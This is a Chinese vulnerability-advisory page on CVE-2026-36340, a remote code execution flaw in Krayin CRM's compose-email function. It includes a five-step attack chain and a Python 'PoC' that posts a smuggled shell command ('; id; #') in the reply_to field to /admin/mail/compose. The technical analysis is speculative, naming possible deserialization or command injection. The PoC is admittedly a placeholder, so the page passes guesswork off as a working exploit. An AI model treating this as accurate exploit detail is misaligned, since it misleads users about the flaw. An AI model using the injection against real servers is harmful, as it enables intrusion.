IPBUF安全漏洞报告
English
CVE-2026-36340 CVSS 8.1 高危

CVE-2026-36340 Krayin CRM远程代码执行漏洞

披露日期: 2026-04-30

漏洞信息

漏洞编号
CVE-2026-36340
漏洞类型
远程代码执行 (RCE)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Krayin CRM

相关标签

RCE远程代码执行Krayin CRMCVE-2026-36340Laravel高危漏洞

漏洞概述

Krayin CRM v2.1.5及之前版本存在严重的远程代码执行漏洞。由于撰写邮件功能存在安全缺陷,经过身份验证的远程攻击者可利用此漏洞在服务器端执行任意恶意代码,且无需用户交互。该漏洞CVSS评分为8.1,属于高危级别,严重威胁系统的机密性与完整性。建议管理员立即检查系统版本并采取修复措施。

技术细节

该漏洞源于Krayin CRM在处理“撰写邮件”功能时的逻辑错误。Krayin CRM基于Laravel框架开发,攻击者通过构造特定的HTTP请求,向邮件发送接口提交包含恶意Payload的数据。由于系统在处理邮件草稿或发送逻辑时,未对特定参数(如邮件头、附件或模板变量)进行严格的过滤和类型检查,导致攻击者能够注入并执行恶意代码。具体而言,这可能涉及反序列化漏洞或底层命令注入。当后端组件解析该恶意请求时,会触发漏洞链,导致Web服务器以应用程序运行权限执行任意系统命令。由于CVSS向量显示攻击复杂度低且无需用户交互,该漏洞极易被利用,从而完全控制受影响的服务器。

攻击链分析

STEP 1
1. 侦察与认证
攻击者获取目标Krayin CRM系统的访问权限,并获取有效的低权限用户账户凭证(PR:L),以便访问内部功能。
STEP 2
2. 构造恶意请求
攻击者利用漏洞详情,针对“撰写邮件”功能接口,精心构造包含恶意代码或命令的HTTP请求数据包。
STEP 3
3. 发送攻击载荷
攻击者通过网络将恶意请求发送至服务器端。由于无需用户交互(UI:N),该过程可自动化进行。
STEP 4
4. 代码执行
服务器后端在处理邮件请求时,因过滤不严解析了恶意载荷,导致攻击者在服务器上下文中执行任意代码。
STEP 5
5. 建立立足点
攻击者利用执行权限获取服务器控制权,进一步窃取数据(C:H)或篡改系统配置(I:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Krayin CRM 2.1.5 - RCE via Compose Email # Date: 2026-04-30 # Exploit Author: Analyst # Vendor Homepage: https://krayincrm.com/ # Software Link: https://github.com/krayin/laravel-crm/releases/tag/v2.1.5 # Version: 2.1.5 # Tested on: Linux/Unix def exploit(target_url, session_cookie): """ Exploits the RCE vulnerability in the compose email function. Requires a valid authenticated session (PR:L). """ headers = { "Cookie": f"laravel_session={session_cookie}", "User-Agent": "Mozilla/5.0 (Exploit)", "Content-Type": "application/json" } # Malicious payload targeting the email compose endpoint # This payload attempts to execute a shell command (e.g., whoami) # The exact JSON structure depends on the API implementation payload = { "subject": "Test Subject", "content": "Test Content", "reply_to": "; id; #", # Potential injection point "attachments": ["恶意载荷"] } # Note: In a real scenario, the payload would be serialized or specifically # crafted to trigger the backend vulnerability (e.g., PHAR deserialization). url = f"{target_url}/admin/mail/compose" try: response = requests.post(url, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Payload sent successfully!") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:8000" session = "valid_session_token_here" exploit(target, session)

影响范围

Krayin CRM <= 2.1.5

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用邮件撰写功能或仅允许可信的内网IP访问该功能。同时,应加强对低权限用户的监控,防止凭证泄露导致漏洞被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表